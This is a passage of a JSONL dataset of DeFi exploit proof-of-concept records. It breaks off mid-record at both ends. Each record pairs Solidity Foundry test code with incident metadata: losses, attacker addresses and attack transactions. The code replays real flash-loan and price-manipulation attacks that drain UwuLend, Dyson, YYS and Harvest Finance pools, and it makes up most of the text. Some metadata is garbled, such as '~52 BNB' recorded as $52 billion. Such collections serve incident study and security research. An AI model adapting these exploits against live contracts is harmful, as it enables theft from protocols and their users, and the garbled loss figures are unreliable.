uwuLendPool.borrow(address(WBTC), WBTC.balanceOf(address(uWBTC)), 2, 0, address(this));\n uwuLendPool.withdraw(address(sUSDE), sUSDE.balanceOf(address(uSUSDE)), msg.sender);\n\n USDT_WETH_Pair.swap(\n address(this), false, int256(USDT.balanceOf(address(this))), 5_334_772_629_276_810_319_154_680, new bytes(0)\n );\n DAI.transfer(msg.sender, DAI.balanceOf(address(this)));\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n address(USDT).call(\n abi.encodeWithSelector(bytes4(keccak256(\"transfer(address,uint256)\")), msg.sender, uint256(amount1Delta))\n );\n }\n}\n", "type": "exploit_poc", "protocol": "UwuLend_First", "date": "2024-06", "file_name": "UwuLend_First_exp.sol", "attack_vector": "flash_loan", "content_hash": "ac53d8f1b74b02b2", "collected_at": "2026-01-07T10:59:16.521268", "_source": "postmortems", "chain": "ethereum", "block_number": 20061318, "total_lost_raw": "~$19.3M", "total_lost_usd": 19300000.0, "attacker_address": "https://etherscan.io/address/0x841ddf093f5188989fa1524e7b893de64b421f47", "attack_contract": "https://etherscan.io/address/0xf19d66e82ffe8e203b30df9e81359f8a201517ad", "vulnerable_contract": "https://etherscan.io/address/0x2409af0251dcb89ee3dee572629291f9b087c668", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "critical", "severity_raw": "~$19.3M", "category": "flash-loan", "exploit_code": "function testExploit() public {\n toBeLiquidatedHelper = new ToBeLiquidatedHelper();\n vm.label(address(toBeLiquidatedHelper), \"toBeLiquidatedHelper\");\n borrowHelper = new BorrowHelper();\n vm.label(address(borrowHelper), \"borrowHelper\");\n\n // 1. approve all\n console.log(\"1. approveAll \\n\");\n approveAll();\n\n // 2. flashLoan\n // 2.1 aave flashloan WETH and WBTC\n // 2.2 sparkPool flashloan WETH and WBTC\n // 2.3 morphoBlueFlashLoan flashloan sUSDE USDE DAI\n // 2.4 FRAX_USDC_Pair flashloan USDC and FRAX\n // 2.5 BalancerVault flashloan USDC\n // 2.6 makerDaoFlash flashloan DAI\n console.log(\"2. flashLoan\");\n flashLoan();\n\n // 3. exploit logic in onFlashLoan\n\n // 5. profit\n\n emit log_named_decimal_uint(\"\\n attacker profit\", WETH.balanceOf(address(this)), WETH.decimals());\n }\n\n // exploit logic", "has_exploit_code": true, "keyinfo_total_lost": "~$19.3M", "keyinfo_attacker": "https://etherscan.io/address/0x841ddf093f5188989fa1524e7b893de64b421f47", "keyinfo_attack_contract": "https://etherscan.io/address/0xf19d66e82ffe8e203b30df9e81359f8a201517ad", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x2409af0251dcb89ee3dee572629291f9b087c668", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$19.30M", "content_richness_score": 9, "quality_estimate": "high", "title": "UwuLend_First Exploit (2024-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~52 BNB\n// TX : https://app.blocksec.com/explorer/tx/bsc/0xbac614f4d103939a9611ca35f4ec9451e1e98512d573c822fbff70fafdbbb5a0\n// Attacker : https://bscscan.com/address/0x4ced363484dfebd0fab1b33c3eca0edca44a346c\n// Attack Contract : https://bscscan.com/address/0x00db72390c1843de815ef635ee58ac19b54af4ef\n \n\ninterface Vulncontract is IERC20 {\n struct MintParams {\n address asset; // USDC | BUSD depends at chain\n uint256 amount; // amount asset\n string referral; // code from Referral Program -> if not have -> set empty\n }\n\n function mint(\n MintParams calldata params\n ) external returns (uint256);\n function harvest() external;\n function redeem(address _asset, uint256 _amount) external returns (uint256);\n}\n\ninterface StableV1AMM is IERC20 {\n function mint(\n address to\n ) external returns (uint256 liquidity);\n function burn(\n address to\n ) external returns (uint256 amount0, uint256 amount1);\n}\n\ninterface DysonVault is IERC20 {\n function depositAll() external;\n function withdrawAll() external;\n}\n\ncontract ContractTest is Test {\n //b708\n Vulncontract b708 = Vulncontract(0xd3F827C0b1D224aeBCD69c449602bBCb427Cb708);\n //b821\n Vulncontract b821 = Vulncontract(0x5A8EEe279096052588DfCc4e8b466180490DB821);\n //b296\n Vulncontract b29b = Vulncontract(0x2b9BDa587ee04fe51C5431709afbafB295F94bB4);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x40eD17221b3B2D8455F4F1a05CAc6b77c5f707e3);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n WBNB constant WBNB_TOKEN = WBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 Usdt = IERC20(0x5335E87930b410b8C5BB4D43c3360ACa15ec0C8C);\n IERC20 USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);\n IERC20 USDPLUS = IERC20(0xe80772Eaf6e2E18B651F160Bc9158b2A5caFCA65);\n StableV1AMM StableV1 = StableV1AMM(0x1561D9618dB2Dcfe954f5D51f4381fa99C8E5689);\n DysonVault dysonVault = DysonVault(0x2836B64a39d5B73d8f534c9fd6c6ABD81df2beB7);\n address referrals = 0xACC3b446A16c809235860ab6d4ec95b5F018aA0b;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 39_684_702);\n deal(address(USDT), address(this), 910 ether);\n deal(address(USDC), address(this), 910 ether);\n }\n\n function testExploit() public {\n USDT.approve(address(Router), type(uint256).max);\n attack();\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[End] Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), 18);\n }\n\n function attack() public {\n approveAll();\n // WBNB_TOKEN.deposit{value: 1.5 ether}();\n Vulncontract.MintParams memory param =\n Vulncontract.MintParams({asset: address(USDC), amount: 901 ether, referral: string(\"test\")});\n b821.mint(param);\n Vulncontract.MintParams memory params =\n Vulncontract.MintParams({asset: address(USDT), amount: 901 ether, referral: string(\"test\")});\n b708.mint(params);\n\n Usdt.transfer(address(StableV1), 748 ether);\n USDPLUS.transfer(address(StableV1), 900_639_600);\n\n StableV1.mint(address(this));\n dysonVault.depositAll();\n\n b29b.harvest();\n\n dysonVault.withdrawAll();\n\n uint256 amounts = StableV1.balanceOf(address(this));\n StableV1.transfer(address(StableV1), amounts);\n StableV1.burn(address(this));\n b708.redeem(address(USDT), 15_000 ether);\n b821.redeem(address(USDC), 18_000 * 1e6);\n }\n\n function approveAll() internal {\n USDT.approve(address(b708), type(uint256).max);\n Usdt.approve(address(b708), type(uint256).max);\n USDC.approve(address(b821), type(uint256).max);\n USDPLUS.approve(address(b821), type(uint256).max);\n StableV1.approve(address(dysonVault), type(uint256).max);\n }\n}\n", "type": "exploit_poc", "protocol": "Dyson_money", "date": "2024-06", "file_name": "Dyson_money_exp.sol", "attack_vector": null, "content_hash": "431b0c2abeed79c8", "collected_at": "2026-01-07T10:59:16.521419", "_source": "postmortems", "chain": "bsc", "block_number": 39684702, "total_lost_raw": "~52 BNB", "total_lost_usd": 52000000000.0, "attacker_address": "https://bscscan.com/address/0x4ced363484dfebd0fab1b33c3eca0edca44a346c", "attack_contract": "https://bscscan.com/address/0x00db72390c1843de815ef635ee58ac19b54af4ef", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "critical", "severity_raw": "~52 BNB", "category": "unknown", "exploit_code": "function testExploit() public {\n USDT.approve(address(Router), type(uint256).max);\n attack();\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[End] Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0x4ced363484dfebd0fab1b33c3eca0edca44a346c", "keyinfo_attack_contract": "https://bscscan.com/address/0x00db72390c1843de815ef635ee58ac19b54af4ef", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$52000.00M", "content_richness_score": 6.12, "quality_estimate": "medium", "title": "Dyson_money Exploit (2024-06)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : \t$28K\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x397a09af6494c0bfcd89e010f5dd65d90f3ee1cf1ff813ce5b0c1d42a1c8dec9?line=84\n// Attacker Address : https://bscscan.com/address/0x101723def8695f5bb8d5d4aa70869c10b5ff6340\n// Attack Contract1: https://bscscan.com/address/0x832e6540da54d07cb0dfea8957be690c8eb2c6a0\n// Attack Contract2: https://bscscan.com/address/0x4192abd1466b49be9d1e99918aee99e0dbd65289\n\n \n\ninterface Isell {\n function updateAllowance() external;\n function sell(\n uint256\n ) external;\n}\n\ncontract ContractTest is Test {\n Uni_Pair_V3 constant BUSDT_USDC = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);\n IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 YYStoken = IERC20(0xE814Cc2B4DbFe652C04f2E008ced18875c76F510);\n Uni_Pair_V2 constant Pair = Uni_Pair_V2(0x4200A9B80B1e84cF94ad8Fc28f66195BC3c37F3F);\n IPancakeRouter Router = IPancakeRouter(payable(0x8228A4aD192d5D82189afd6e194f65edb8c76a41));\n uint256 flashBUSDTAmount = 4_750_000 ether;\n Isell YYStoken_Sell = Isell(0xcC0F0f41f4c4c17493517dd6c6d9DD1aDb134Fc9);\n address invest = 0xcC0F0f41f4c4c17493517dd6c6d9DD1aDb134Fc9;\n address Anotheraddress = 0xC772718b5206EF788D33F43A2a80a104a1867BD4;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 39_436_701);\n deal(address(BUSDT), address(this), 100 ether);\n }\n\n function testExploit() public {\n BUSDT.approve(address(invest), type(uint256).max);\n // Step1: invest\uff0cAny address that has been bound before can be used.\n address(invest).call(abi.encodeWithSelector(bytes4(0xb9b8c246), address(Anotheraddress), 100 ether));\n\n // Step2: Start the attack.\n\n BUSDT_USDC.flash(address(this), flashBUSDTAmount, 0, abi.encodePacked(uint256(1)));\n emit log_named_decimal_uint(\"After Profit: \", BUSDT.balanceOf(address(this)), 18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n Pair.sync();\n BUSDT.approve(address(Router), flashBUSDTAmount);\n\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(YYStoken);\n\n uint256[] memory amountsout = Router.getAmountsOut(4_749_900 * 10 ** 18, path);\n\n BUSDT.transfer(address(Pair), 4_749_900 ether);\n\n Pair.swap(0, amountsout[1], address(this), \"\");\n\n YYStoken.approve(address(YYStoken_Sell), type(uint256).max);\n\n uint256 sellamount = 38_584 ether;\n uint256 bal = YYStoken.balanceOf(address(this));\n uint256 j = 0;\n while (YYStoken.balanceOf(address(this)) > 5000 ether) {\n if (j == 0) {\n YYStoken_Sell.sell(sellamount);\n } else {\n YYStoken_Sell.sell(YYStoken.balanceOf(address(this)));\n }\n j++;\n }\n BUSDT.transfer(msg.sender, flashBUSDTAmount * 10_001 / 10_000);\n }\n}\n", "type": "exploit_poc", "protocol": "YYS", "date": "2024-06", "file_name": "YYS_exp.sol", "attack_vector": null, "content_hash": "7f91965c78d77d7c", "collected_at": "2026-01-07T10:59:16.521484", "_source": "postmortems", "chain": "bsc", "block_number": 39436701, "total_lost_raw": "$28K", "total_lost_usd": 28000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x397a09af6494c0bfcd89e010f5dd65d90f3ee1cf1ff813ce5b0c1d42a1c8dec9?line=84", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": "$28K", "category": "unknown", "exploit_code": "function testExploit() public {\n BUSDT.approve(address(invest), type(uint256).max);\n // Step1: invest\uff0cAny address that has been bound before can be used.\n address(invest).call(abi.encodeWithSelector(bytes4(0xb9b8c246), address(Anotheraddress), 100 ether));\n\n // Step2: Start the attack.\n\n BUSDT_USDC.flash(address(this), flashBUSDTAmount, 0, abi.encodePacked(uint256(1)));\n emit log_named_decimal_uint(\"After Profit: \", BUSDT.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "$28K", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x397a09af6494c0bfcd89e010f5dd65d90f3ee1cf1ff813ce5b0c1d42a1c8dec9?line=84", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$28.0K", "content_richness_score": 6.55, "quality_estimate": "medium", "title": "YYS Exploit (2024-06)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$3.7M\n// TX : https://app.blocksec.com/explorer/tx/eth/0x9235e0662e230bdfa94f56f4932fd09a95fea17e4b9b44a4f40a59449e216110\n// Attacker : https://etherscan.io/address/0x841ddf093f5188989fa1524e7b893de64b421f47\n// Attack Contract : https://etherscan.io/address/0x0935c185494cc9abee8890d01e67ddcc00b66f8c\n// Vulnerable Contract : https://etherscan.io/address/0x2409af0251dcb89ee3dee572629291f9b087c668\n\ncontract UwuLend_Second_exp is Test {\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 uSUSDE = IERC20(0xf1293141fC6ab23b2a0143Acc196e3429e0B67A6);\n IERC20 uWETH = IERC20(0x67fadbD9Bf8899d7C578db22D7af5e2E500E13e5);\n IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 crvUSD = IERC20(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);\n IERC20 CRV = IERC20(0xD533a949740bb3306d119CC777fa900bA034cd52);\n IERC20 LUSD = IERC20(0x5f98805A4E8be255a32880FDeC7F6728C6568bA0);\n IERC20 FRAX = IERC20(0x853d955aCEf822Db058eb8505911ED77F175b99e);\n\n IERC20 uCRV = IERC20(0xdb1A8f07f6964EFcFfF1Aa8025b8ce192Ba59Eba);\n IERC20 ucrvUSD = IERC20(0xeb61e567cbAeAccb6C259deF92900bc59d8a14cC);\n IERC20 uDAI = IERC20(0xb95BD0793bCC5524AF358ffaae3e38c3903C7626);\n IERC20 uUSDT = IERC20(0x24959F75d7BDA1884f1Ec9861f644821Ce233c7D);\n IERC20 uFRAX = IERC20(0x8C240C385305aeb2d5CeB60425AABcb3488fa93d);\n IERC20 uLUSD = IERC20(0xaDFa5Fa0c51d11B54C8a0B6a15F47987BD500086);\n\n ILendingPool uwuLendPool = ILendingPool(0x2409aF0251DCB89EE3Dee572629291f9B087c668);\n IMorphoBuleFlashLoan morphoBlueFlashLoan = IMorphoBuleFlashLoan(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);\n\n address constant attacker = 0x4CD6FebA837b6944BE0b2311B7A21036e86C3354;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20_081_503);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(uSUSDE), \"uSUSDE\");\n vm.label(address(uWETH), \"uWETH\");\n vm.label(address(uwuLendPool), \"uwuLendPool\");\n vm.label(address(morphoBlueFlashLoan), \"morphoBlueFlashLoan\");\n }\n\n function testExploit() public {\n vm.startPrank(attacker);\n uSUSDE.transfer(address(this), 60_000_000 ether);\n vm.stopPrank();\n\n (\n uint256 totalCollateral,\n uint256 totalDebt,\n uint256 availableBorrows,\n uint256 currentLiquidationThreshold,\n uint256 ltv,\n uint256 healthFactor\n ) = uwuLendPool.getUserAccountData(address(this));\n console.log(\"\\n sUSDE position\");\n emit log_named_decimal_uint(\"totalCollateral\", totalCollateral, 8);\n emit log_named_decimal_uint(\"totalDebt\", totalDebt, 8);\n emit log_named_decimal_uint(\"availableBorrows\", availableBorrows, 8);\n emit log_named_decimal_uint(\"currentLiquidationThreshold\", currentLiquidationThreshold, 8);\n emit log_named_decimal_uint(\"ltv\", ltv, 4);\n emit log_named_decimal_uint(\"healthFactor\", healthFactor, 18);\n\n morphoBlueFlashLoan.flashLoan(address(WETH), WETH.balanceOf(address(morphoBlueFlashLoan)), new bytes(0));\n }\n\n function onMorphoFlashLoan(uint256 amounts, bytes calldata) external {\n WETH.approve(address(msg.sender), type(uint256).max);\n\n WETH.approve(address(uwuLendPool), type(uint256).max);\n\n // Deposit WETH to uwuLendPool as collateral\n uwuLendPool.deposit(address(WETH), amounts, address(this), 0);\n\n // Borrow asset with WETH as collateral\n uwuLendPool.borrow(address(WETH), WETH.balanceOf(address(uWETH)) - amounts, 2, 0, address(this));\n\n uwuLendPool.borrow(address(CRV), CRV.balanceOf(address(uCRV)), 2, 0, address(this));\n\n uwuLendPool.borrow(address(crvUSD), crvUSD.balanceOf(address(ucrvUSD)), 2, 0, address(this));\n\n uwuLendPool.borrow(address(DAI), DAI.balanceOf(address(uDAI)), 2, 0, address(this));\n\n uwuLendPool.borrow(address(USDT), USDT.balanceOf(address(uUSDT)), 2, 0, address(this));\n\n uwuLendPool.borrow(address(FRAX), FRAX.balanceOf(address(uFRAX)), 2, 0, address(this));\n\n uwuLendPool.borrow(address(LUSD), LUSD.balanceOf(address(uLUSD)), 2, 0, address(this));\n\n // withdraw WETH collateral with uSUSDE keeping the health factor\n\n (\n uint256 totalCollateral,\n uint256 totalDebt,\n uint256 availableBorrows,\n uint256 currentLiquidationThreshold,\n uint256 ltv,\n uint256 healthFactor\n ) = uwuLendPool.getUserAccountData(address(this));\n console.log(\"\\n before withdraw\");\n emit log_named_decimal_uint(\"totalCollateral\", totalCollateral, 8);\n emit log_named_decimal_uint(\"totalDebt\", totalDebt, 8);\n emit log_named_decimal_uint(\"availableBorrows\", availableBorrows, 8);\n emit log_named_decimal_uint(\"currentLiquidationThreshold\", currentLiquidationThreshold, 8);\n emit log_named_decimal_uint(\"ltv\", ltv, 4);\n emit log_named_decimal_uint(\"healthFactor\", healthFactor, 18);\n\n uwuLendPool.withdraw(address(WETH), type(uint256).max, address(this));\n\n (totalCollateral, totalDebt, availableBorrows, currentLiquidationThreshold, ltv, healthFactor) =\n uwuLendPool.getUserAccountData(address(this));\n console.log(\"\\n after withdraw\");\n emit log_named_decimal_uint(\"totalCollateral\", totalCollateral, 8);\n emit log_named_decimal_uint(\"totalDebt\", totalDebt, 8);\n emit log_named_decimal_uint(\"availableBorrows\", availableBorrows, 8);\n emit log_named_decimal_uint(\"currentLiquidationThreshold\", currentLiquidationThreshold, 8);\n emit log_named_decimal_uint(\"ltv\", ltv, 4);\n emit log_named_decimal_uint(\"healthFactor\", healthFactor, 18);\n\n emit log_named_decimal_uint(\"\\n attacker CRV token balance\", CRV.balanceOf(address(this)), CRV.decimals());\n emit log_named_decimal_uint(\"attacker crvUSD token balance\", crvUSD.balanceOf(address(this)), crvUSD.decimals());\n emit log_named_decimal_uint(\"attacker DAI token balance\", DAI.balanceOf(address(this)), DAI.decimals());\n emit log_named_decimal_uint(\"attacker USDT token balance\", USDT.balanceOf(address(this)), USDT.decimals());\n emit log_named_decimal_uint(\"attacker FRAX token balance\", FRAX.balanceOf(address(this)), FRAX.decimals());\n emit log_named_decimal_uint(\"attacker LUSD token balance\", LUSD.balanceOf(address(this)), LUSD.decimals());\n }\n}\n", "type": "exploit_poc", "protocol": "UwuLend_Second", "date": "2024-06", "file_name": "UwuLend_Second_exp.sol", "attack_vector": "flash_loan", "content_hash": "bf906993bef3498d", "collected_at": "2026-01-07T10:59:16.521536", "_source": "postmortems", "chain": "ethereum", "block_number": 20081503, "total_lost_raw": "~$3.7M", "total_lost_usd": 3700000.0, "attacker_address": "https://etherscan.io/address/0x841ddf093f5188989fa1524e7b893de64b421f47", "attack_contract": "https://etherscan.io/address/0x0935c185494cc9abee8890d01e67ddcc00b66f8c", "vulnerable_contract": "https://etherscan.io/address/0x2409af0251dcb89ee3dee572629291f9b087c668", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "critical", "severity_raw": "~$3.7M", "category": "flash-loan", "exploit_code": "function testExploit() public {\n vm.startPrank(attacker);\n uSUSDE.transfer(address(this), 60_000_000 ether);\n vm.stopPrank();\n\n (\n uint256 totalCollateral,\n uint256 totalDebt,\n uint256 availableBorrows,\n uint256 currentLiquidationThreshold,\n uint256 ltv,\n uint256 healthFactor\n ) = uwuLendPool.getUserAccountData(address(this));\n console.log(\"\\n sUSDE position\");\n emit log_named_decimal_uint(\"totalCollateral\", totalCollateral, 8);\n emit log_named_decimal_uint(\"totalDebt\", totalDebt, 8);\n emit log_named_decimal_uint(\"availableBorrows\", availableBorrows, 8);\n emit log_named_decimal_uint(\"currentLiquidationThreshold\", currentLiquidationThreshold, 8);\n emit log_named_decimal_uint(\"ltv\", ltv, 4);\n emit log_named_decimal_uint(\"healthFactor\", healthFactor, 18);\n\n morphoBlueFlashLoan.flashLoan(address(WETH), WETH.balanceOf(address(morphoBlueFlashLoan)), new bytes(0));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$3.7M", "keyinfo_attacker": "https://etherscan.io/address/0x841ddf093f5188989fa1524e7b893de64b421f47", "keyinfo_attack_contract": "https://etherscan.io/address/0x0935c185494cc9abee8890d01e67ddcc00b66f8c", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x2409af0251dcb89ee3dee572629291f9b087c668", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$3.70M", "content_richness_score": 9, "quality_estimate": "high", "title": "UwuLend_Second Exploit (2024-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n // CONTRACTS\n // Uniswap ETH/USDC LP (UNI-V2)\n IUniswapV2Pair usdcPair = IUniswapV2Pair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);\n // Uniswap ETH/USDT LP (UNI-V2)\n IUniswapV2Pair usdtPair = IUniswapV2Pair(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);\n // Curve y swap\n IcurveYSwap curveYSwap = IcurveYSwap(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);\n // Harvest USDC pool\n IHarvestUsdcVault harvest = IHarvestUsdcVault(0xf0358e8c3CD5Fa238a29301d0bEa3D63A17bEdBE);\n\n // ERC20s\n // 6 decimals on usdt\n IUSDT usdt = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n // 6 decimals on usdc\n IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n // 6 decimals on yusdc\n IERC20 yusdc = IERC20(0xd6aD7a6750A7593E092a9B218d66C0A814a3436e);\n // 6 decimals on yusdt\n IERC20 yusdt = IERC20(0x83f798e925BcD4017Eb265844FDDAbb448f1707D);\n // 6 decimals on fUSDT\n IERC20 fusdt = IERC20(0x053c80eA73Dc6941F518a68E2FC52Ac45BDE7c9C);\n // 6 decimals on fUSDC\n IERC20 fusdc = IERC20(0xf0358e8c3CD5Fa238a29301d0bEa3D63A17bEdBE);\n\n uint256 usdcLoan = 50_000_000 * 10 ** 6;\n uint256 usdcRepayment = (usdcLoan * 100_301) / 100_000;\n uint256 usdtLoan = 17_300_000 * 10 ** 6;\n uint256 usdtRepayment = (usdtLoan * 100_301) / 100_000;\n uint256 usdcBal;\n uint256 usdtBal;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 11_129_473); //fork mainnet at block 11129473\n }\n\n function testExploit() public {\n usdt.approve(address(curveYSwap), type(uint256).max);\n usdc.approve(address(curveYSwap), type(uint256).max);\n usdc.approve(address(harvest), type(uint256).max);\n usdt.approve(address(usdtPair), type(uint256).max);\n usdc.approve(address(usdcPair), type(uint256).max);\n emit log_named_uint(\"Before exploitation, USDC balance of attacker:\", usdc.balanceOf(address(this)) / 1e6);\n emit log_named_uint(\"Before exploitation, USDT balance of attacker:\", usdt.balanceOf(address(this)) / 1e6);\n usdcPair.swap(usdcLoan, 0, address(this), \"0x\");\n\n emit log_named_uint(\"After exploitation, USDC balance of attacker:\", usdc.balanceOf(address(this)) / 1e6);\n emit log_named_uint(\"After exploitation, USDT balance of attacker:\", usdt.balanceOf(address(this)) / 1e6);\n }\n\n function uniswapV2Call(address, uint256, uint256, bytes calldata) external {\n if (msg.sender == address(usdcPair)) {\n emit log_named_uint(\"Flashloan, Amount of USDC received:\", usdc.balanceOf(address(this)) / 1e6);\n usdtPair.swap(0, usdtLoan, address(this), \"0x\");\n bool usdcSuccess = usdc.transfer(address(usdcPair), usdcRepayment);\n }\n\n if (msg.sender == address(usdtPair)) {\n emit log_named_uint(\"Flashloan, Amount of USDT received:\", usdt.balanceOf(address(this)) / 1e6);\n for (uint256 i = 0; i < 6; i++) {\n theSwap(i);\n }\n usdt.transfer(msg.sender, usdtRepayment);\n }\n }\n\n function theSwap(\n uint256 i\n ) internal {\n curveYSwap.exchange_underlying(2, 1, 17_200_000 * 10 ** 6, 17_000_000 * 10 ** 6);\n harvest.deposit(49_000_000_000_000);\n curveYSwap.exchange_underlying(1, 2, 17_310_000 * 10 ** 6, 17_000_000 * 10 ** 6);\n harvest.withdraw(fusdc.balanceOf(address(this)));\n emit log_named_uint(\"After swap, USDC balance of attacker:\", usdc.balanceOf(address(this)) / 1e6);\n emit log_named_uint(\"After swap ,USDT balance of attacker:\", usdt.balanceOf(address(this)) / 1e6);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "HarvestFinance", "date": "2020-10", "file_name": "HarvestFinance_exp.sol", "attack_vector": "flash_loan", "content_hash": "9a090685437a2537", "collected_at": "2026-01-07T10:59:16.521591", "_source": "postmortems", "chain": "unknown", "block_number": 11129473, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n usdt.approve(address(curveYSwap), type(uint256).max);\n usdc.approve(address(curveYSwap), type(uint256).max);\n usdc.approve(address(harvest), type(uint256).max);\n usdt.approve(address(usdtPair), type(uint256).max);\n usdc.approve(address(usdcPair), type(uint256).max);\n emit log_named_uint(\"Before exploitation, USDC balance of attacker:\", usdc.balanceOf(address(this)) / 1e6);\n emit log_named_uint(\"Before exploitation, USDT balance of attacker:\", usdt.balanceOf(address(this)) / 1e6);\n usdcPair.swap(usdcLoan, 0, address(this), \"0x\");\n\n emit log_named_uint(\"After exploitation, USDC balance of attacker:\", usdc.balanceOf(address(this)) / 1e6);\n emit log_named_uint(\"After exploitation, USDT balance of attacker:\", usdt.balanceOf(address(this)) / 1e6);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.98, "quality_estimate": "low", "title": "HarvestFinance Exploit (2020-10)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/peckshield/status/1653149493133729794\n// https://twitter.com/BlockSecTeam/status/1653267431127920641\n// @TX\n// https://bscscan.com/tx/0x6aef8bb501a53e290837d4398b34d5d4d881267512cfe78eb9ba7e59f41dad04\n// https://bscscan.com/tx/0xe1f257041872c075cbe6a1212827bc346df3def6d01a07914e4006ec43027165\n// @Summary\n// Lack of checking for duplicate elements in arrays\n\ninterface IPool {\n function swap(\n address _tokenIn,\n address _tokenOut,\n uint256 _minOut,\n address _to,\n bytes calldata extradata\n ) external;\n}\n\ninterface ILevelReferralControllerV2 {\n struct UserInfo {\n uint256 tier;\n uint256 tradingPoint;\n uint256 referralPoint;\n uint256 claimed;\n }\n\n function claim(uint256 _epoch, address _to) external;\n function claimMultiple(uint256[] calldata _epoches, 